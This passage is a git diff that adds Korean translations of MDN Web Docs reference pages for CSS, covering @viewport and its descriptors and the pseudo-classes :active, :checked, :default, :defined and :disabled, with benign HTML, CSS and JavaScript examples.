+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: css">@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+
+@viewport {
+  orientation: landscape;
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Round Display", "#extending-viewport-rule", "@viewport")}}</td>
+   <td>{{Spec2("CSS Round Display")}}</td>
+   <td>Defined the {{cssxref("@viewport/viewport-fit", "viewport-fit")}} descriptor.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.at-rules.viewport")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("meta")}}, specifically <code>&lt;meta name="viewport"&gt;</code></li>
+ <li><a href="/en-US/docs/Mobile/Viewport_meta_tag">Using the viewport meta tag to control layout on mobile browsers</a></li>
+</ul>
diff --git a/files/ko/web/css/@viewport/viewport-fit/index.html b/files/ko/web/css/@viewport/viewport-fit/index.html
new file mode 100644
index 0000000000..e29d893382
--- /dev/null
+++ b/files/ko/web/css/@viewport/viewport-fit/index.html
@@ -0,0 +1,72 @@
+---
+title: viewport-fit
+slug: Web/CSS/@viewport/viewport-fit
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p><strong><code>viewport-fit</code></strong> CSS {{CSSxRef("@viewport")}} {{Glossary("Descriptor (CSS)", "설명자")}}는 문서의 뷰포트가 화면을 채우는 방법을 제어합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css; no-line-numbers">/* Keyword values */
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>이 값은 초기 레이아웃 뷰포트에 영향을 미치지 않으며 전체 웹 페이지가 보여집니다.</dd>
+ <dt><code>contain</code></dt>
+ <dd>뷰포트 크기가 디스플레이 내에 새겨진 가장 큰 직사각형에 들어맞게 조정됩니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>cover</code></dt>
+ <dd>뷰포트 크기가 기기 디스플레이를 모두 채우도록 조정됩니다. 이때 중요한 내용이 디스플레이 바깥 영역으로 밀려나지 않도록 <a href="/en-US/docs/Web/CSS/env">safe area inset 변수</a>를 함께 사용할 것을 권장합니다.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">auto | contain | cover
+</pre>
+
+<div class="hidden">이 설명자는 아직 <a href="https://github.com/mdn/data/blob/master/css/at-rules.json">https://github.com/mdn/data/blob/master/css/at-rules.json</a>에 등재되지 않았습니다.</div>
+
+<h2 id="접근성_문제">접근성 문제</h2>
+
+<p><code>viewport-fit</code> 설명자를 사용할 때에는 모든 기기의 디스플레이가 직사각형인 것은 아니므로 <a href="/en-US/docs/Web/CSS/env">safe area inset 변수</a>를 함께 사용해야 함을 기억하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}</td>
+   <td>{{Spec2("CSS Round Display")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.at-rules.viewport.viewport-fit")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{CSSxRef("env", "env()")}}</li>
+</ul>
diff --git a/files/ko/web/css/@viewport/zoom/index.html b/files/ko/web/css/@viewport/zoom/index.html
new file mode 100644
index 0000000000..137b2eb6a9
--- /dev/null
+++ b/files/ko/web/css/@viewport/zoom/index.html
@@ -0,0 +1,70 @@
+---
+title: zoom
+slug: Web/CSS/@viewport/zoom
+tags:
+  - CSS
+  - CSS Descriptor
+  - Graphics
+  - Layout
+  - NeedsExample
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{ CSSRef }}</div>
+
+<p><code>zoom</code> <a href="/ko/docs/Web/CSS">CSS</a> 설명자(descriptor)는 {{cssxref("@viewport")}}에 의해 정의된 문서의 초기 줌 배율(factor)을 설정합니다.</p>
+
+<p><code>1.0</code> 또는 <code>100%</code>인 <em>줌 배율</em>은 줌이 없음에 해당합니다. 큰 값은 확대. 작은 값은 축소.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+zoom: auto;
+
+/* &lt;number&gt; 값 */
+zoom: 0.8;
+zoom: 2.0;
+
+/* &lt;percentage&gt; 값 */
+zoom: 150%;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>사용자 에이전트가 문서의 초기 줌 배율을 설정합니다. 사용자 에이전트는 문서가 그 배율을 찾기 위해 렌더링되는 캔버스 영역의 크기를 사용할 수 있습니다.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>줌 배율로 사용되는 음이 아닌 수. 배율 1.0은 줌이 수행되지 않음을 뜻합니다. 1.0보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>줌 배율로 사용되는 음이 아닌 퍼센트 값. 배율 100%는 줌이 수행되지 않음을 뜻합니다. 100%보다 큰 값은 확대 작은 값은 축소 효과가 됩니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-lsquozoomrsquo-descriptor', '"zoom" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>초기 스펙</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("css.at-rules.viewport.zoom")}}</p>
diff --git a/files/ko/web/css/_colon_active/index.html b/files/ko/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..eb3ccff192
--- /dev/null
+++ b/files/ko/web/css/_colon_active/index.html
@@ -0,0 +1,127 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>:active</code></strong> <a href="/ko/docs/Web/API/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 사용자가 활성화한 요소(버튼 등)를 나타냅니다.</span> 마우스를 사용하는 경우, "활성"이란 보통 마우스 버튼을 누르는 순간부터 떼는 시점까지를 의미합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 활성화된 모든 &lt;a&gt; 태그를 선택 */
+a:active {
+  color: red;
+}</pre>
+
+<p><code>:active</code> 의사 클래스는 대개 {{HTMLElement("a")}}, {{HTMLElement("button")}}과 함께 사용합니다. 다른 흔한 대상으로는 활성화된 요소를 포함한 다른 요소와, 연결된 {{HTMLElement("label")}}로 선택한 입력 폼 요소 등이 있습니다.</p>
+
+<p><code>:active</code> 의사 클래스로 정의한 스타일은 자신보다 뒤에 위치하고 동등한 명시성을 가진 다른 링크 의사 클래스({{cssxref(":link")}}, {{cssxref(":hover")}}, {{cssxref(":visited")}})가 덮어씁니다. 링크를 적절히 디자인하려면 <em>LVHA-순서(</em><code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>)를 따라, <code>:active</code> 규칙을 다른 모든 링크 규칙들보다 뒤에 배치하세요.</p>
+
+<div class="note"><strong>참고:</strong> CSS3 명세에 따르면, 다수의 버튼을 가진 마우스라도 <code>:active</code> 의사 클래스는 주 버튼에만 적용돼야 합니다. 오른손잡이 마우스 기준, 주 버튼은 보통 맨 왼쪽 버튼입니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="활성화_링크">활성화 링크</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;링크를 포함하는 문단입니다.
+  &lt;a href="#"&gt;이 링크는 클릭하는 동안 색이 빨갛게 됩니다.&lt;/a&gt;
+  이 문단은 클릭하는 동안 배경색이 회색이 됩니다.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">a:link { color: blue; }          /* 방문하지 않은 링크 */
+a:visited { color: purple; }     /* 방문한 링크 */
+a:hover { background: yellow; }  /* 마우스를 올린 링크 */
+a:active { color: red; }         /* 활성화한 링크 */
+
+p:active { background: #eee; }   /* 활성화한 문단 */</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('활성화_링크')}}</p>
+
+<h3 id="활성화_폼_요소">활성화 폼 요소</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="my-button"&gt;내 버튼: &lt;/label&gt;
+  &lt;button id="my-button" type="button"&gt;제 라벨이나 저를 클릭해보세요!&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">form :active {
+  color: red;
+}
+
+form button {
+  background: white;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('활성화_폼_요소')}}</p>
+
+<h2 id="명세"><span>명세</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.active")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>링크 관련 의사 클래스: {{cssxref(":link")}}, {{cssxref(":visited")}}, {{cssxref(":hover")}}.</li>
+</ul>
diff --git a/files/ko/web/css/_colon_checked/index.html b/files/ko/web/css/_colon_checked/index.html
new file mode 100644
index 0000000000..337f93d1cd
--- /dev/null
+++ b/files/ko/web/css/_colon_checked/index.html
@@ -0,0 +1,193 @@
+---
+title: ':checked'
+slug: 'Web/CSS/:checked'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:checked'
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>:checked</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a> 선택자는 선택했거나 <code>on</code> 상태인 <strong>라디오</strong>(<code><a href="/ko/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>), <strong>체크박스</strong>(<code><a href="/ko/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>), <strong>옵션</strong>({{HTMLElement("option")}} 요소를 나타냅니다.</p>
+
+<pre class="brush: css no-line-numbers">/* Matches any checked/selected radio, checkbox, or option */
+:checked {
+  margin-left: 25px;
+  border: 1px solid blue;
+}
+</pre>
+
+<p>사용자가 요소를 체크했거나 선택한 경우 활성화되고, 체크나 선택을 해제하는 경우 비활성화됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 경우 브라우저는 <code>&lt;option&gt;</code> 요소를 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>로 취급하므로, <code>:checked</code> 의사 클래스를 사용한 스타일을 적용할 수 있는 범위도 브라우저마다 다릅니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;input type="radio" name="my-input" id="yes"&gt;
+  &lt;label for="yes"&gt;Yes&lt;/label&gt;
+
+  &lt;input type="radio" name="my-input" id="no"&gt;
+  &lt;label for="no"&gt;No&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;div&gt;
+  &lt;input type="checkbox" name="my-checkbox" id="opt-in"&gt;
+  &lt;label for="opt-in"&gt;Check me!&lt;/label&gt;
+&lt;/div&gt;
+
+&lt;select name="my-select" id="fruit"&gt;
+  &lt;option value="opt1"&gt;Apples&lt;/option&gt;
+  &lt;option value="opt2"&gt;Grapes&lt;/option&gt;
+  &lt;option value="opt3"&gt;Pears&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div,
+select {
+  margin: 8px;
+}
+
+/* Labels for checked inputs */
+input:checked + label {
+  color: red;
+}
+
+/* Radio element, when checked */
+input[type="radio"]:checked {
+  box-shadow: 0 0 0 3px orange;
+}
+
+/* Checkbox element, when checked */
+input[type="checkbox"]:checked {
+  box-shadow: 0 0 0 3px hotpink;
+}
+
+/* Option elements, when selected */
+option:checked {
+  box-shadow: 0 0 0 3px lime;
+  color: red;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("기본_예제")}}</p>
+
+<h3 id="숨겨진_체크박스를_사용해_요소_켜고_끄기">숨겨진 체크박스를 사용해 요소 켜고 끄기</h3>
+
+<p>다음 예제 코드는 <code>:checked</code> 의사 클래스와 체크박스를 사용해, <a href="/ko/docs/Web/JavaScript">JavaScript</a> 없이도 사용자가 켜거나 끌 수 있는 콘텐츠를 구현합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;input type="checkbox" id="expand-toggle" /&gt;
+
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;&lt;th&gt;Column #1&lt;/th&gt;&lt;th&gt;Column #2&lt;/th&gt;&lt;th&gt;Column #3&lt;/th&gt;&lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;td&gt;[cell text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr class="expandable"&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;td&gt;[more text]&lt;/td&gt;&lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;label for="expand-toggle" id="expand-btn"&gt;Toggle hidden rows&lt;/label&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* Hide the toggle checkbox */
+#expand-toggle {
+  display: none;
+}
+
+/* Hide expandable content by default */
+.expandable {
+  visibility: collapse;
+  background: #ddd;
+}
+
+/* Style the button */
+#expand-btn {
+  display: inline-block;
+  margin-top: 12px;
+  padding: 5px 11px;
+  background-color: #ff7;
+  border: 1px solid;
+  border-radius: 3px;
+}
+
+/* Show hidden content when the checkbox is checked */
+#expand-toggle:checked ~ * .expandable {
+  visibility: visible;
+}
+
+/* Style the button when the checkbox is checked */
+#expand-toggle:checked ~ #expand-btn {
+  background-color: #ccc;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("숨겨진_체크박스를_사용해_요소_켜고_끄기", "auto", 220)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', '#selector-checked', ':checked') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', '#selector-checked', ':checked') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td>Defines the semantic regarding HTML.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#checked', ':checked') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Defines the pseudo-class, but not the associated semantic</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.checked")}}</p>
+</div>
diff --git a/files/ko/web/css/_colon_default/index.html b/files/ko/web/css/_colon_default/index.html
new file mode 100644
index 0000000000..06e0558495
--- /dev/null
+++ b/files/ko/web/css/_colon_default/index.html
@@ -0,0 +1,101 @@
+---
+title: ':default'
+slug: 'Web/CSS/:default'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Selector
+  - Web
+translation_of: 'Web/CSS/:default'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:default</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 연관 요소 내에서의 기본값인 요소를 선택합니다.</p>
+
+<p>이 선택자는<a href="https://html.spec.whatwg.org/multipage/semantics-other.html#selector-default"> HTML Standard §4.16.3 Pseudo-classes</a>에 정의되어 있듯 {{htmlelement("button")}}, <code><a href="/ko/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>, <code><a href="/ko/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code>, {{htmlelement("option")}} 요소를 아래와 같은 경우에 선택합니다.</p>
+
+<ul>
+ <li>옵션 요소의 기본값은 <code>selected</code> 특성을 가진 제일 첫 요소, 즉 DOM 순서 기준으로 제일 앞의 활성화 옵션입니다. <code>multiple</code> 특성의 {{htmlelement("select")}}는 둘 이상의 <code>selected</code> 옵션을 가질 수도 있으므로, 모든 옵션이 <code>:default</code>로 선택됩니다.</li>
+ <li><code>&lt;input type="checkbox"&gt;</code>와 <code>&lt;input type="radio"&gt;</code>는 <code>checked</code> 특성을 가지고 있으면 선택됩니다.</li>
+ <li>{{htmlelement("button")}}은 {{htmlelement("form")}} 요소의 <a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#implicit-submission">기본 제출 버튼</a>, 즉 DOM 순서 기준으로 양식에 속하는 제일 첫 <code>&lt;button&gt;</code>이면 선택됩니다. (<code>image</code>와 <code>submit</code>처럼, 양식을 제출하는 다른 {{htmlelement("input")}} 유형에도 적용됩니다.)</li>
+</ul>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;fieldset&gt;
+  &lt;legend&gt;Favorite season&lt;/legend&gt;
+
+  &lt;input type="radio" name="season" id="spring"&gt;
+  &lt;label for="spring"&gt;Spring&lt;/label&gt;
+
+  &lt;input type="radio" name="season" id="summer" checked&gt;
+  &lt;label for="summer"&gt;Summer&lt;/label&gt;
+
+  &lt;input type="radio" name="season" id="fall"&gt;
+  &lt;label for="fall"&gt;Fall&lt;/label&gt;
+
+  &lt;input type="radio" name="season" id="winter"&gt;
+  &lt;label for="winter"&gt;Winter&lt;/label&gt;
+&lt;/fieldset&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Defines associated HTML semantics and constraint validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No change.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.default")}}</p>
+</div>
diff --git a/files/ko/web/css/_colon_defined/index.html b/files/ko/web/css/_colon_defined/index.html
new file mode 100644
index 0000000000..89487adbb9
--- /dev/null
+++ b/files/ko/web/css/_colon_defined/index.html
@@ -0,0 +1,118 @@
+---
+title: ':defined'
+slug: 'Web/CSS/:defined'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Selector
+  - Web
+translation_of: 'Web/CSS/:defined'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:defined</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 정의된 요소를 선택합니다. 정의된 요소란 브라우저에 내장된 표준 요소와, 성공적으로 정의({{domxref("CustomElementRegistry.define()")}} 메서드 등)한 사용자 지정 요소를 의미합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selects any defined element */
+:defined {
+  font-style: italic;
+}
+
+/* Selects any instance of a specific custom element */
+simple-custom:defined {
+  display: block;
+}
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="정의되기_전까지_요소_숨기기">정의되기 전까지 요소 숨기기</h3>
+
+<p>다음 코드는 저희의 <a href="https://github.com/mdn/web-components-examples/tree/master/defined-pseudo-class">defined-pseudo-class</a> 데모에서 발췌한 것입니다. (<a href="https://mdn.github.io/web-components-examples/defined-pseudo-class/">동작 모습 보기</a>)</p>
+
+<p>이 데모에서는 아주 간단한 사용자 지정 요소를 정의합니다.</p>
+
+<pre class="brush: js notranslate">customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})</pre>
+
+<p>그 후, 위의 요소를 표준 <code>&lt;p&gt;</code>와 함께 문서에 넣습니다.</p>
+
+<pre class="brush: html notranslate">&lt;simple-custom text="Custom element example text"&gt;&lt;/simple-custom&gt;
+
+&lt;p&gt;Standard paragraph example text&lt;/p&gt;</pre>
+
+<p>CSS에는 다음의 스타일을 작성합니다.</p>
+
+<pre class="brush: css notranslate">// Give the two elements distinctive backgrounds
+p {
+  background: yellow;
+}
+
+simple-custom {
+  background: cyan;
+}
+
+// Both the custom and the built-in element are given italic text
+:defined {
+  font-style: italic;
+}</pre>
+
+<p>그리고 아래의 두 규칙을 통해, 정의되지 않은 사용자 지정 요소는 숨기고, 정의가 성공적으로 된 경우에는 블록 레벨 요소로 표시합니다.</p>
+
+<pre class="brush: css notranslate">simple-custom:not(:defined) {
+  display: none;
+}
+
+simple-custom:defined {
+  display: block;
+}</pre>
+
+<p>위의 데모는 페이지에 불러올 때 꽤 시간이 걸릴 수 있는 복잡한 사용자 지정 요소 스타일링에 유용하게 쓸 수 있습니다. 로딩이 아직 진행 중일 때, 스타일을 입히지 않은는 못생긴 요소가 페이지에 노출되는 것을 막을 수 있으니까요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.defined")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Web_Components">웹 컴포넌트</a></li>
+</ul>
diff --git a/files/ko/web/css/_colon_disabled/index.html b/files/ko/web/css/_colon_disabled/index.html
new file mode 100644
index 0000000000..5a65d93de2
--- /dev/null
+++ b/files/ko/web/css/_colon_disabled/index.html
@@ -0,0 +1,129 @@
+---
+title: ':disabled'
+slug: 'Web/CSS/:disabled'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:disabled'
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>:disabled</code></strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>는 모든 비활성 요소를 나타냅니다. 비활성 요소란 활성(선택, 클릭, 입력 등등)하거나 포커스를 받을 수 없는 요소를 말합니다. 반대 상태인 활성 요소도 존재합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 모든 비활성 &lt;input&gt; 선택 */
+input:disabled {
+  background: #ccc;
+}</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 사용자가 청구 주소 입력 칸을 켜거나 끌 수 있는 기능을 <a href="/ko/docs/Web/JavaScript">JavaScript</a> {{event("change")}} 이벤트를 통해 구현한 기본적인 배송 양식입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form action="#"&gt;
+  &lt;fieldset id="shipping"&gt;
+    &lt;legend&gt;배송지&lt;/legend&gt;
+    &lt;input type="text" placeholder="이름"&gt;
+    &lt;input type="text" placeholder="주소"&gt;
+    &lt;input type="text" placeholder="우편번호"&gt;
+  &lt;/fieldset&gt;
+  &lt;br&gt;
+  &lt;fieldset id="billing"&gt;
+    &lt;legend&gt;청구지&lt;/legend&gt;
+    &lt;label for="billing-checkbox"&gt;배송지와 동일:&lt;/label&gt;
+    &lt;input type="checkbox" id="billing-checkbox" checked&gt;
+    &lt;br&gt;
+    &lt;input type="text" placeholder="이름" disabled&gt;
+    &lt;input type="text" placeholder="주소" disabled&gt;
+    &lt;input type="text" placeholder="우편번호" disabled&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">input[type="text"]:disabled {
+  background: #ccc;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
